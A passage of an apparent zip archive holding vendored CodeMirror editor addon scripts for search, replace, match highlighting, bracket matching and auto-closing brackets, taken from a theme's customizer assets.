        self.pos = {from: pos, to: pos};
        self.atOccurrence = false;
        return false;
      }

      for (;;) {
        if (this.pos = this.matches(reverse, pos)) {
          this.atOccurrence = true;
          return this.pos.match || true;
        }
        if (reverse) {
          if (!pos.line) return savePosAndFail(0);
          pos = Pos(pos.line-1, this.doc.getLine(pos.line-1).length);
        }
        else {
          var maxLine = this.doc.lineCount();
          if (pos.line == maxLine - 1) return savePosAndFail(maxLine);
          pos = Pos(pos.line + 1, 0);
        }
      }
    },

    from: function() {if (this.atOccurrence) return this.pos.from;},
    to: function() {if (this.atOccurrence) return this.pos.to;},

    replace: function(newText, origin) {
      if (!this.atOccurrence) return;
      var lines = CodeMirror.splitLines(newText);
      this.doc.replaceRange(lines, this.pos.from, this.pos.to, origin);
      this.pos.to = Pos(this.pos.from.line + lines.length - 1,
                        lines[lines.length - 1].length + (lines.length == 1 ? this.pos.from.ch : 0));
    }
  };

  // Maps a position in a case-folded line back to a position in the original line
  // (compensating for codepoints increasing in number during folding)
  function adjustPos(orig, folded, pos) {
    if (orig.length == folded.length) return pos;
    for (var pos1 = Math.min(pos, orig.length);;) {
      var len1 = orig.slice(0, pos1).toLowerCase().length;
      if (len1 < pos) ++pos1;
      else if (len1 > pos) --pos1;
      else return pos1;
    }
  }

  CodeMirror.defineExtension("getSearchCursor", function(query, pos, caseFold) {
    return new SearchCursor(this.doc, query, pos, caseFold);
  });
  CodeMirror.defineDocExtension("getSearchCursor", function(query, pos, caseFold) {
    return new SearchCursor(this, query, pos, caseFold);
  });

  CodeMirror.defineExtension("selectMatches", function(query, caseFold) {
    var ranges = [];
    var cur = this.getSearchCursor(query, this.getCursor("from"), caseFold);
    while (cur.findNext()) {
      if (CodeMirror.cmpPos(cur.to(), this.getCursor("to")) > 0) break;
      ranges.push({anchor: cur.from(), head: cur.to()});
    }
    if (ranges.length)
      this.setSelections(ranges, 0);
  });
});
PK     N\6@    W  inc/customizer/framework/assets/js/vendor/codemirror/addon/search/matchesonscrollbar.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("./searchcursor"), require("../scroll/annotatescrollbar"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "./searchcursor", "../scroll/annotatescrollbar"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineExtension("showMatchesOnScrollbar", function(query, caseFold, options) {
    if (typeof options == "string") options = {className: options};
    if (!options) options = {};
    return new SearchAnnotation(this, query, caseFold, options);
  });

  function SearchAnnotation(cm, query, caseFold, options) {
    this.cm = cm;
    this.options = options;
    var annotateOptions = {listenForChanges: false};
    for (var prop in options) annotateOptions[prop] = options[prop];
    if (!annotateOptions.className) annotateOptions.className = "CodeMirror-search-match";
    this.annotation = cm.annotateScrollbar(annotateOptions);
    this.query = query;
    this.caseFold = caseFold;
    this.gap = {from: cm.firstLine(), to: cm.lastLine() + 1};
    this.matches = [];
    this.update = null;

    this.findMatches();
    this.annotation.update(this.matches);

    var self = this;
    cm.on("change", this.changeHandler = function(_cm, change) { self.onChange(change); });
  }

  var MAX_MATCHES = 1000;

  SearchAnnotation.prototype.findMatches = function() {
    if (!this.gap) return;
    for (var i = 0; i < this.matches.length; i++) {
      var match = this.matches[i];
      if (match.from.line >= this.gap.to) break;
      if (match.to.line >= this.gap.from) this.matches.splice(i--, 1);
    }
    var cursor = this.cm.getSearchCursor(this.query, CodeMirror.Pos(this.gap.from, 0), this.caseFold);
    var maxMatches = this.options && this.options.maxMatches || MAX_MATCHES;
    while (cursor.findNext()) {
      var match = {from: cursor.from(), to: cursor.to()};
      if (match.from.line >= this.gap.to) break;
      this.matches.splice(i++, 0, match);
      if (this.matches.length > maxMatches) break;
    }
    this.gap = null;
  };

  function offsetLine(line, changeStart, sizeChange) {
    if (line <= changeStart) return line;
    return Math.max(changeStart, line + sizeChange);
  }

  SearchAnnotation.prototype.onChange = function(change) {
    var startLine = change.from.line;
    var endLine = CodeMirror.changeEnd(change).line;
    var sizeChange = endLine - change.to.line;
    if (this.gap) {
      this.gap.from = Math.min(offsetLine(this.gap.from, startLine, sizeChange), change.from.line);
      this.gap.to = Math.max(offsetLine(this.gap.to, startLine, sizeChange), change.from.line);
    } else {
      this.gap = {from: change.from.line, to: endLine + 1};
    }

    if (sizeChange) for (var i = 0; i < this.matches.length; i++) {
      var match = this.matches[i];
      var newFrom = offsetLine(match.from.line, startLine, sizeChange);
      if (newFrom != match.from.line) match.from = CodeMirror.Pos(newFrom, match.from.ch);
      var newTo = offsetLine(match.to.line, startLine, sizeChange);
      if (newTo != match.to.line) match.to = CodeMirror.Pos(newTo, match.to.ch);
    }
    clearTimeout(this.update);
    var self = this;
    this.update = setTimeout(function() { self.updateAfterChange(); }, 250);
  };

  SearchAnnotation.prototype.updateAfterChange = function() {
    this.findMatches();
    this.annotation.update(this.matches);
  };

  SearchAnnotation.prototype.clear = function() {
    this.cm.off("change", this.changeHandler);
    this.annotation.clear();
  };
});
PK     N\1?"  "  K  inc/customizer/framework/assets/js/vendor/codemirror/addon/search/search.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Define search commands. Depends on dialog.js or another
// implementation of the openDialog method.

// Replace works a little oddly -- it will do the replace on the next
// Ctrl-G (or whatever is bound to findNext) press. You prevent a
// replace by making sure the match is no longer selected when hitting
// Ctrl-G.

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("./searchcursor"), require("../dialog/dialog"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "./searchcursor", "../dialog/dialog"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function searchOverlay(query, caseInsensitive) {
    if (typeof query == "string")
      query = new RegExp(query.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, "\\$&"), caseInsensitive ? "gi" : "g");
    else if (!query.global)
      query = new RegExp(query.source, query.ignoreCase ? "gi" : "g");

    return {token: function(stream) {
      query.lastIndex = stream.pos;
      var match = query.exec(stream.string);
      if (match && match.index == stream.pos) {
        stream.pos += match[0].length || 1;
        return "searching";
      } else if (match) {
        stream.pos = match.index;
      } else {
        stream.skipToEnd();
      }
    }};
  }

  function SearchState() {
    this.posFrom = this.posTo = this.lastQuery = this.query = null;
    this.overlay = null;
  }

  function getSearchState(cm) {
    return cm.state.search || (cm.state.search = new SearchState());
  }

  function queryCaseInsensitive(query) {
    return typeof query == "string" && query == query.toLowerCase();
  }

  function getSearchCursor(cm, query, pos) {
    // Heuristic: if the query string is all lowercase, do a case insensitive search.
    return cm.getSearchCursor(query, pos, queryCaseInsensitive(query));
  }

  function persistentDialog(cm, text, deflt, f) {
    cm.openDialog(text, f, {
      value: deflt,
      selectValueOnOpen: true,
      closeOnEnter: false,
      onClose: function() { clearSearch(cm); }
    });
  }

  function dialog(cm, text, shortText, deflt, f) {
    if (cm.openDialog) cm.openDialog(text, f, {value: deflt, selectValueOnOpen: true});
    else f(prompt(shortText, deflt));
  }

  function confirmDialog(cm, text, shortText, fs) {
    if (cm.openConfirm) cm.openConfirm(text, fs);
    else if (confirm(shortText)) fs[0]();
  }

  function parseString(string) {
    return string.replace(/\\(.)/g, function(_, ch) {
      if (ch == "n") return "\n"
      if (ch == "r") return "\r"
      return ch
    })
  }

  function parseQuery(query) {
    var isRE = query.match(/^\/(.*)\/([a-z]*)$/);
    if (isRE) {
      try { query = new RegExp(isRE[1], isRE[2].indexOf("i") == -1 ? "" : "i"); }
      catch(e) {} // Not a regular expression after all, do a string search
    } else {
      query = parseString(query)
    }
    if (typeof query == "string" ? query == "" : query.test(""))
      query = /x^/;
    return query;
  }

  var queryDialog =
    'Search: <input type="text" style="width: 10em" class="CodeMirror-search-field"/> <span style="color: #888" class="CodeMirror-search-hint">(Use /re/ syntax for regexp search)</span>';

  function startSearch(cm, state, query) {
    state.queryText = query;
    state.query = parseQuery(query);
    cm.removeOverlay(state.overlay, queryCaseInsensitive(state.query));
    state.overlay = searchOverlay(state.query, queryCaseInsensitive(state.query));
    cm.addOverlay(state.overlay);
    if (cm.showMatchesOnScrollbar) {
      if (state.annotate) { state.annotate.clear(); state.annotate = null; }
      state.annotate = cm.showMatchesOnScrollbar(state.query, queryCaseInsensitive(state.query));
    }
  }

  function doSearch(cm, rev, persistent) {
    var state = getSearchState(cm);
    if (state.query) return findNext(cm, rev);
    var q = cm.getSelection() || state.lastQuery;
    if (persistent && cm.openDialog) {
      var hiding = null
      persistentDialog(cm, queryDialog, q, function(query, event) {
        CodeMirror.e_stop(event);
        if (!query) return;
        if (query != state.queryText) startSearch(cm, state, query);
        if (hiding) hiding.style.opacity = 1
        findNext(cm, event.shiftKey, function(_, to) {
          var dialog
          if (to.line < 3 && document.querySelector &&
              (dialog = cm.display.wrapper.querySelector(".CodeMirror-dialog")) &&
              dialog.getBoundingClientRect().bottom - 4 > cm.cursorCoords(to, "window").top)
            (hiding = dialog).style.opacity = .4
        })
      });
    } else {
      dialog(cm, queryDialog, "Search for:", q, function(query) {
        if (query && !state.query) cm.operation(function() {
          startSearch(cm, state, query);
          state.posFrom = state.posTo = cm.getCursor();
          findNext(cm, rev);
        });
      });
    }
  }

  function findNext(cm, rev, callback) {cm.operation(function() {
    var state = getSearchState(cm);
    var cursor = getSearchCursor(cm, state.query, rev ? state.posFrom : state.posTo);
    if (!cursor.find(rev)) {
      cursor = getSearchCursor(cm, state.query, rev ? CodeMirror.Pos(cm.lastLine()) : CodeMirror.Pos(cm.firstLine(), 0));
      if (!cursor.find(rev)) return;
    }
    cm.setSelection(cursor.from(), cursor.to());
    cm.scrollIntoView({from: cursor.from(), to: cursor.to()}, 20);
    state.posFrom = cursor.from(); state.posTo = cursor.to();
    if (callback) callback(cursor.from(), cursor.to())
  });}

  function clearSearch(cm) {cm.operation(function() {
    var state = getSearchState(cm);
    state.lastQuery = state.query;
    if (!state.query) return;
    state.query = state.queryText = null;
    cm.removeOverlay(state.overlay);
    if (state.annotate) { state.annotate.clear(); state.annotate = null; }
  });}

  var replaceQueryDialog =
    ' <input type="text" style="width: 10em" class="CodeMirror-search-field"/> <span style="color: #888" class="CodeMirror-search-hint">(Use /re/ syntax for regexp search)</span>';
  var replacementQueryDialog = 'With: <input type="text" style="width: 10em" class="CodeMirror-search-field"/>';
  var doReplaceConfirm = "Replace? <button>Yes</button> <button>No</button> <button>All</button> <button>Stop</button>";

  function replaceAll(cm, query, text) {
    cm.operation(function() {
      for (var cursor = getSearchCursor(cm, query); cursor.findNext();) {
        if (typeof query != "string") {
          var match = cm.getRange(cursor.from(), cursor.to()).match(query);
          cursor.replace(text.replace(/\$(\d)/g, function(_, i) {return match[i];}));
        } else cursor.replace(text);
      }
    });
  }

  function replace(cm, all) {
    if (cm.getOption("readOnly")) return;
    var query = cm.getSelection() || getSearchState(cm).lastQuery;
    var dialogText = all ? "Replace all:" : "Replace:"
    dialog(cm, dialogText + replaceQueryDialog, dialogText, query, function(query) {
      if (!query) return;
      query = parseQuery(query);
      dialog(cm, replacementQueryDialog, "Replace with:", "", function(text) {
        text = parseString(text)
        if (all) {
          replaceAll(cm, query, text)
        } else {
          clearSearch(cm);
          var cursor = getSearchCursor(cm, query, cm.getCursor());
          var advance = function() {
            var start = cursor.from(), match;
            if (!(match = cursor.findNext())) {
              cursor = getSearchCursor(cm, query);
              if (!(match = cursor.findNext()) ||
                  (start && cursor.from().line == start.line && cursor.from().ch == start.ch)) return;
            }
            cm.setSelection(cursor.from(), cursor.to());
            cm.scrollIntoView({from: cursor.from(), to: cursor.to()});
            confirmDialog(cm, doReplaceConfirm, "Replace?",
                          [function() {doReplace(match);}, advance,
                           function() {replaceAll(cm, query, text)}]);
          };
          var doReplace = function(match) {
            cursor.replace(typeof query == "string" ? text :
                           text.replace(/\$(\d)/g, function(_, i) {return match[i];}));
            advance();
          };
          advance();
        }
      });
    });
  }

  CodeMirror.commands.find = function(cm) {clearSearch(cm); doSearch(cm);};
  CodeMirror.commands.findPersistent = function(cm) {clearSearch(cm); doSearch(cm, false, true);};
  CodeMirror.commands.findNext = doSearch;
  CodeMirror.commands.findPrev = function(cm) {doSearch(cm, true);};
  CodeMirror.commands.clearSearch = clearSearch;
  CodeMirror.commands.replace = replace;
  CodeMirror.commands.replaceAll = function(cm) {replace(cm, true);};
});
PK     N\
pkO  O  V  inc/customizer/framework/assets/js/vendor/codemirror/addon/search/match-highlighter.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Highlighting text that matches the selection
//
// Defines an option highlightSelectionMatches, which, when enabled,
// will style strings that match the selection throughout the
// document.
//
// The option can be set to true to simply enable it, or to a
// {minChars, style, wordsOnly, showToken, delay} object to explicitly
// configure it. minChars is the minimum amount of characters that should be
// selected for the behavior to occur, and style is the token style to
// apply to the matches. This will be prefixed by "cm-" to create an
// actual CSS class name. If wordsOnly is enabled, the matches will be
// highlighted only if the selected text is a word. showToken, when enabled,
// will cause the current token to be highlighted when nothing is selected.
// delay is used to specify how much time to wait, in milliseconds, before
// highlighting the matches.

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var DEFAULT_MIN_CHARS = 2;
  var DEFAULT_TOKEN_STYLE = "matchhighlight";
  var DEFAULT_DELAY = 100;
  var DEFAULT_WORDS_ONLY = false;

  function State(options) {
    if (typeof options == "object") {
      this.minChars = options.minChars;
      this.style = options.style;
      this.showToken = options.showToken;
      this.delay = options.delay;
      this.wordsOnly = options.wordsOnly;
    }
    if (this.style == null) this.style = DEFAULT_TOKEN_STYLE;
    if (this.minChars == null) this.minChars = DEFAULT_MIN_CHARS;
    if (this.delay == null) this.delay = DEFAULT_DELAY;
    if (this.wordsOnly == null) this.wordsOnly = DEFAULT_WORDS_ONLY;
    this.overlay = this.timeout = null;
  }

  CodeMirror.defineOption("highlightSelectionMatches", false, function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      var over = cm.state.matchHighlighter.overlay;
      if (over) cm.removeOverlay(over);
      clearTimeout(cm.state.matchHighlighter.timeout);
      cm.state.matchHighlighter = null;
      cm.off("cursorActivity", cursorActivity);
    }
    if (val) {
      cm.state.matchHighlighter = new State(val);
      highlightMatches(cm);
      cm.on("cursorActivity", cursorActivity);
    }
  });

  function cursorActivity(cm) {
    var state = cm.state.matchHighlighter;
    clearTimeout(state.timeout);
    state.timeout = setTimeout(function() {highlightMatches(cm);}, state.delay);
  }

  function highlightMatches(cm) {
    cm.operation(function() {
      var state = cm.state.matchHighlighter;
      if (state.overlay) {
        cm.removeOverlay(state.overlay);
        state.overlay = null;
      }
      if (!cm.somethingSelected() && state.showToken) {
        var re = state.showToken === true ? /[\w$]/ : state.showToken;
        var cur = cm.getCursor(), line = cm.getLine(cur.line), start = cur.ch, end = start;
        while (start && re.test(line.charAt(start - 1))) --start;
        while (end < line.length && re.test(line.charAt(end))) ++end;
        if (start < end)
          cm.addOverlay(state.overlay = makeOverlay(line.slice(start, end), re, state.style));
        return;
      }
      var from = cm.getCursor("from"), to = cm.getCursor("to");
      if (from.line != to.line) return;
      if (state.wordsOnly && !isWord(cm, from, to)) return;
      var selection = cm.getRange(from, to).replace(/^\s+|\s+$/g, "");
      if (selection.length >= state.minChars)
        cm.addOverlay(state.overlay = makeOverlay(selection, false, state.style));
    });
  }

  function isWord(cm, from, to) {
    var str = cm.getRange(from, to);
    if (str.match(/^\w+$/) !== null) {
        if (from.ch > 0) {
            var pos = {line: from.line, ch: from.ch - 1};
            var chr = cm.getRange(pos, from);
            if (chr.match(/\W/) === null) return false;
        }
        if (to.ch < cm.getLine(from.line).length) {
            var pos = {line: to.line, ch: to.ch + 1};
            var chr = cm.getRange(to, pos);
            if (chr.match(/\W/) === null) return false;
        }
        return true;
    } else return false;
  }

  function boundariesAround(stream, re) {
    return (!stream.start || !re.test(stream.string.charAt(stream.start - 1))) &&
      (stream.pos == stream.string.length || !re.test(stream.string.charAt(stream.pos)));
  }

  function makeOverlay(query, hasBoundary, style) {
    return {token: function(stream) {
      if (stream.match(query) &&
          (!hasBoundary || boundariesAround(stream, hasBoundary)))
        return style;
      stream.next();
      stream.skipTo(query.charAt(0)) || stream.skipToEnd();
    }};
  }
});
PK     N\)    P  inc/customizer/framework/assets/js/vendor/codemirror/addon/edit/matchbrackets.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  var ie_lt8 = /MSIE \d/.test(navigator.userAgent) &&
    (document.documentMode == null || document.documentMode < 8);

  var Pos = CodeMirror.Pos;

  var matching = {"(": ")>", ")": "(<", "[": "]>", "]": "[<", "{": "}>", "}": "{<"};

  function findMatchingBracket(cm, where, strict, config) {
    var line = cm.getLineHandle(where.line), pos = where.ch - 1;
    var match = (pos >= 0 && matching[line.text.charAt(pos)]) || matching[line.text.charAt(++pos)];
    if (!match) return null;
    var dir = match.charAt(1) == ">" ? 1 : -1;
    if (strict && (dir > 0) != (pos == where.ch)) return null;
    var style = cm.getTokenTypeAt(Pos(where.line, pos + 1));

    var found = scanForBracket(cm, Pos(where.line, pos + (dir > 0 ? 1 : 0)), dir, style || null, config);
    if (found == null) return null;
    return {from: Pos(where.line, pos), to: found && found.pos,
            match: found && found.ch == match.charAt(0), forward: dir > 0};
  }

  // bracketRegex is used to specify which type of bracket to scan
  // should be a regexp, e.g. /[[\]]/
  //
  // Note: If "where" is on an open bracket, then this bracket is ignored.
  //
  // Returns false when no bracket was found, null when it reached
  // maxScanLines and gave up
  function scanForBracket(cm, where, dir, style, config) {
    var maxScanLen = (config && config.maxScanLineLength) || 10000;
    var maxScanLines = (config && config.maxScanLines) || 1000;

    var stack = [];
    var re = config && config.bracketRegex ? config.bracketRegex : /[(){}[\]]/;
    var lineEnd = dir > 0 ? Math.min(where.line + maxScanLines, cm.lastLine() + 1)
                          : Math.max(cm.firstLine() - 1, where.line - maxScanLines);
    for (var lineNo = where.line; lineNo != lineEnd; lineNo += dir) {
      var line = cm.getLine(lineNo);
      if (!line) continue;
      var pos = dir > 0 ? 0 : line.length - 1, end = dir > 0 ? line.length : -1;
      if (line.length > maxScanLen) continue;
      if (lineNo == where.line) pos = where.ch - (dir < 0 ? 1 : 0);
      for (; pos != end; pos += dir) {
        var ch = line.charAt(pos);
        if (re.test(ch) && (style === undefined || cm.getTokenTypeAt(Pos(lineNo, pos + 1)) == style)) {
          var match = matching[ch];
          if ((match.charAt(1) == ">") == (dir > 0)) stack.push(ch);
          else if (!stack.length) return {pos: Pos(lineNo, pos), ch: ch};
          else stack.pop();
        }
      }
    }
    return lineNo - dir == (dir > 0 ? cm.lastLine() : cm.firstLine()) ? false : null;
  }

  function matchBrackets(cm, autoclear, config) {
    // Disable brace matching in long lines, since it'll cause hugely slow updates
    var maxHighlightLen = cm.state.matchBrackets.maxHighlightLineLength || 1000;
    var marks = [], ranges = cm.listSelections();
    for (var i = 0; i < ranges.length; i++) {
      var match = ranges[i].empty() && findMatchingBracket(cm, ranges[i].head, false, config);
      if (match && cm.getLine(match.from.line).length <= maxHighlightLen) {
        var style = match.match ? "CodeMirror-matchingbracket" : "CodeMirror-nonmatchingbracket";
        marks.push(cm.markText(match.from, Pos(match.from.line, match.from.ch + 1), {className: style}));
        if (match.to && cm.getLine(match.to.line).length <= maxHighlightLen)
          marks.push(cm.markText(match.to, Pos(match.to.line, match.to.ch + 1), {className: style}));
      }
    }

    if (marks.length) {
      // Kludge to work around the IE bug from issue #1193, where text
      // input stops going to the textare whever this fires.
      if (ie_lt8 && cm.state.focused) cm.focus();

      var clear = function() {
        cm.operation(function() {
          for (var i = 0; i < marks.length; i++) marks[i].clear();
        });
      };
      if (autoclear) setTimeout(clear, 800);
      else return clear;
    }
  }

  var currentlyHighlighted = null;
  function doMatchBrackets(cm) {
    cm.operation(function() {
      if (currentlyHighlighted) {currentlyHighlighted(); currentlyHighlighted = null;}
      currentlyHighlighted = matchBrackets(cm, false, cm.state.matchBrackets);
    });
  }

  CodeMirror.defineOption("matchBrackets", false, function(cm, val, old) {
    if (old && old != CodeMirror.Init)
      cm.off("cursorActivity", doMatchBrackets);
    if (val) {
      cm.state.matchBrackets = typeof val == "object" ? val : {};
      cm.on("cursorActivity", doMatchBrackets);
    }
  });

  CodeMirror.defineExtension("matchBrackets", function() {matchBrackets(this, true);});
  CodeMirror.defineExtension("findMatchingBracket", function(pos, strict, config){
    return findMatchingBracket(this, pos, strict, config);
  });
  CodeMirror.defineExtension("scanForBracket", function(pos, dir, style, config){
    return scanForBracket(this, pos, dir, style, config);
  });
});
PK     N\    P  inc/customizer/framework/assets/js/vendor/codemirror/addon/edit/closebrackets.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  var defaults = {
    pairs: "()[]{}''\"\"",
    triples: "",
    explode: "[]{}"
  };

  var Pos = CodeMirror.Pos;

  CodeMirror.defineOption("autoCloseBrackets", false, function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      cm.removeKeyMap(keyMap);
      cm.state.closeBrackets = null;
    }
    if (val) {
      cm.state.closeBrackets = val;
      cm.addKeyMap(keyMap);
    }
  });

  function getOption(conf, name) {
    if (name == "pairs" && typeof conf == "string") return conf;
    if (typeof conf == "object" && conf[name] != null) return conf[name];
    return defaults[name];
  }

  var bind = defaults.pairs + "`";
  var keyMap = {Backspace: handleBackspace, Enter: handleEnter};
  for (var i = 0; i < bind.length; i++)
    keyMap["'" + bind.charAt(i) + "'"] = handler(bind.charAt(i));

  function handler(ch) {
    return function(cm) { return handleChar(cm, ch); };
  }

  function getConfig(cm) {
    var deflt = cm.state.closeBrackets;
    if (!deflt) return null;
    var mode = cm.getModeAt(cm.getCursor());
    return mode.closeBrackets || deflt;
  }

  function handleBackspace(cm) {
    var conf = getConfig(cm);
    if (!conf || cm.getOption("disableInput")) return CodeMirror.Pass;

    var pairs = getOption(conf, "pairs");
    var ranges = cm.listSelections();
    for (var i = 0; i < ranges.length; i++) {
      if (!ranges[i].empty()) return CodeMirror.Pass;
      var around = charsAround(cm, ranges[i].head);
      if (!around || pairs.indexOf(around) % 2 != 0) return CodeMirror.Pass;
    }
    for (var i = ranges.length - 1; i >= 0; i--) {
      var cur = ranges[i].head;
      cm.replaceRange("", Pos(cur.line, cur.ch - 1), Pos(cur.line, cur.ch + 1));
    }
  }

  function handleEnter(cm) {
    var conf = getConfig(cm);
    var explode = conf && getOption(conf, "explode");
    if (!explode || cm.getOption("disableInput")) return CodeMirror.Pass;

    var ranges = cm.listSelections();
    for (var i = 0; i < ranges.length; i++) {
      if (!ranges[i].empty()) return CodeMirror.Pass;
      var around = charsAround(cm, ranges[i].head);
      if (!around || explode.indexOf(around) % 2 != 0) return CodeMirror.Pass;
    }
    cm.operation(function() {
      cm.replaceSelection("\n\n", null);
      cm.execCommand("goCharLeft");
      ranges = cm.listSelections();
      for (var i = 0; i < ranges.length; i++) {
        var line = ranges[i].head.line;
        cm.indentLine(line, null, true);
        cm.indentLine(line + 1, null, true);
      }
    });
  }

  function contractSelection(sel) {
    var inverted = CodeMirror.cmpPos(sel.anchor, sel.head) > 0;
    return {anchor: new Pos(sel.anchor.line, sel.anchor.ch + (inverted ? -1 : 1)),
            head: new Pos(sel.head.line, sel.head.ch + (inverted ? 1 : -1))};
  }

  function handleChar(cm, ch) {
    var conf = getConfig(cm);
    if (!conf || cm.getOption("disableInput")) return CodeMirror.Pass;

    var pairs = getOption(conf, "pairs");
    var pos = pairs.indexOf(ch);
    if (pos == -1) return CodeMirror.Pass;
    var triples = getOption(conf, "triples");

    var identical = pairs.charAt(pos + 1) == ch;
    var ranges = cm.listSelections();
    var opening = pos % 2 == 0;

    var type, next;
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i], cur = range.head, curType;
      var next = cm.getRange(cur, Pos(cur.line, cur.ch + 1));
      if (opening && !range.empty()) {
        curType = "surround";
      } else if ((identical || !opening) && next == ch) {
        if (triples.indexOf(ch) >= 0 && cm.getRange(cur, Pos(cur.line, cur.ch + 3)) == ch + ch + ch)
          curType = "skipThree";
        else
          curType = "skip";
      } else if (identical && cur.ch > 1 && triples.indexOf(ch) >= 0 &&
                 cm.getRange(Pos(cur.line, cur.ch - 2), cur) == ch + ch &&
                 (cur.ch <= 2 || cm.getRange(Pos(cur.line, cur.ch - 3), Pos(cur.line, cur.ch - 2)) != ch)) {
        curType = "addFour";
      } else if (identical) {
        if (!CodeMirror.isWordChar(next) && enteringString(cm, cur, ch)) curType = "both";
        else return CodeMirror.Pass;
      } else if (opening && (cm.getLine(cur.line).length == cur.ch ||
                             isClosingBracket(next, pairs) ||
                             /\s/.test(next))) {
        curType = "both";
      } else {
        return CodeMirror.Pass;
      }
      if (!type) type = curType;
      else if (type != curType) return CodeMirror.Pass;
    }

    var left = pos % 2 ? pairs.charAt(pos - 1) : ch;
    var right = pos % 2 ? ch : pairs.charAt(pos + 1);
    cm.operation(function() {
      if (type == "skip") {
        cm.execCommand("goCharRight");
      } else if (type == "skipThree") {
        for (var i = 0; i < 3; i++)
          cm.execCommand("goCharRight");
      } else if (type == "surround") {
        var sels = cm.getSelections();
        for (var i = 0; i < sels.length; i++)
          sels[i] = left + sels[i] + right;
        cm.replaceSelections(sels, "around");
        sels = cm.listSelections().slice();
        for (var i = 0; i < sels.length; i++)
          sels[i] = contractSelection(sels[i]);
        cm.setSelections(sels);
      } else if (type == "both") {
        cm.replaceSelection(left + right, null);
        cm.triggerElectric(left + right);
        cm.execCommand("goCharLeft");
      } else if (type == "addFour") {
        cm.replaceSelection(left + left + left + left, "before");
        cm.execCommand("goCharRight");
      }
    });
  }

  function isClosingBracket(ch, pairs) {
    var pos = pairs.lastIndexOf(ch);
    return pos > -1 && pos % 2 == 1;
  }

  function charsAround(cm, pos) {
    var str = cm.getRange(Pos(pos.line, pos.ch - 1),
                          Pos(pos.line, pos.ch + 1));
    return str.length == 2 ? str : null;
  }

  // Project the token type that will exists after the given char is
  // typed, and use it to determine whether it would cause the start
  // of a string token.
  function enteringString(cm, pos, ch) {
    var line = cm.getLine(pos.line);
    var token = cm.getTokenAt(pos);
    if (/\bstring2?\b/.test(token.type)) return false;
    var stream = new CodeMirror.StringStream(line.slice(0, pos.ch) + ch + line.slice(pos.ch), 4);
    stream.pos = stream.start = token.start;
    for (;;) {
      var type1 = cm.getMode().token(stream, token.state);
      if (stream.pos >= pos.ch + 1) return /\bstring2?\b/.test(type1);
      stream.start = stream.pos;
    }
  }
});
PK     N\Sё3	  3	  L  inc/customizer/framework/assets/js/vendor/codemirror/addon/edit/matchtags.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("../fold/xml-fold"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "../fold/xml-fold"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("matchTags", false, function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      cm.off("cursorActivity", doMatchTags);
      cm.off("viewportChange", maybeUpdateMatch);
      clear(cm);
    }
    if (val) {
      cm.state.matchBothTags = typeof val == "object" && val.bothTags;
      cm.on("cursorActivity", doMatchTags);
      cm.on("viewportChange", maybeUpdateMatch);
      doMatchTags(cm);
    }
  });

  function clear(cm) {
    if (cm.state.tagHit) cm.state.tagHit.clear();
    if (cm.state.tagOther) cm.state.tagOther.clear();
    cm.state.tagHit = cm.state.tagOther = null;
  }

  function doMatchTags(cm) {
    cm.state.failedTagMatch = false;
    cm.operation(function() {
      clear(cm);
      if (cm.somethingSelected()) return;
      var cur = cm.getCursor(), range = cm.getViewport();
      range.from = Math.min(range.from, cur.line); range.to = Math.max(cur.line + 1, range.to);
      var match = CodeMirror.findMatchingTag(cm, cur, range);
      if (!match) return;
      if (cm.state.matchBothTags) {
        var hit = match.at == "open" ? match.open : match.close;
        if (hit) cm.state.tagHit = cm.markText(hit.from, hit.to, {className: "CodeMirror-matchingtag"});
      }
      var other = match.at == "close" ? match.open : match.close;
      if (other)
        cm.state.tagOther = cm.markText(other.from, other.to, {className: "CodeMirror-matchingtag"});
      else
        cm.state.failedTagMatch = true;
    });
  }

  function maybeUpdateMatch(cm) {
    if (cm.state.failedTagMatch) doMatchTags(cm);
  }

  CodeMirror.commands.toMatchingTag = function(cm) {
    var found = CodeMirror.findMatchingTag(cm, cm.getCursor());
    if (found) {
      var other = found.at == "close" ? found.open : found.close;
      if (other) cm.extendSelection(other.to, other.from);
    }
  };
